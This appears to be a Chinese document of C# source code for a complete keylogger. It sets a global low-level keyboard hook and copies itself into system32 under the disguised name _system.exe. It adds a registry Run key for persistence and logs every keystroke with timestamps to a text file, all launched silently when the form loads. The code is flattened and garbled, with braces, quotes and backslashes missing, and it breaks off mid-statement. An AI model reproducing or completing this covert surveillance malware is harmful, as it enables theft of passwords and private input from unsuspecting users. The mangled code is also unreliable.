C#实现记录键盘输入完整版.doc

HCode=C#/Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper public enum KeyboardEvents KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 StructLayout(LayoutKind.Sequential) public struct KeyboardHookStruct public int vkCode; /表示一个在1到254间的虚似键盘码 public int scanCode; /表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook public event KeyboardEventHandler KeyboardEvent; public enum HookType WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); public bool SetHook() this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return (int)hookHandle != 0); public IntPtr hookProc(int code, int wParam, IntPtr lParam) if(code = 0) KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown & kEvent != KeyboardEvents.KeyUp & kEvent != KeyboardEvents.SystemKeyDown & kEvent != KeyboardEvents.SystemKeyUp) return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); public bool UnHook() return Hook.UnhookWindowsHookEx(this.hookHandle); /RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper public class RegistryReport public RegistryReport() public void MoveFile() if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); /Report.cs代码using System;using System.IO;namespace KingOper public class Report public Report() public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; test_Load调用的实现private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e) MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventH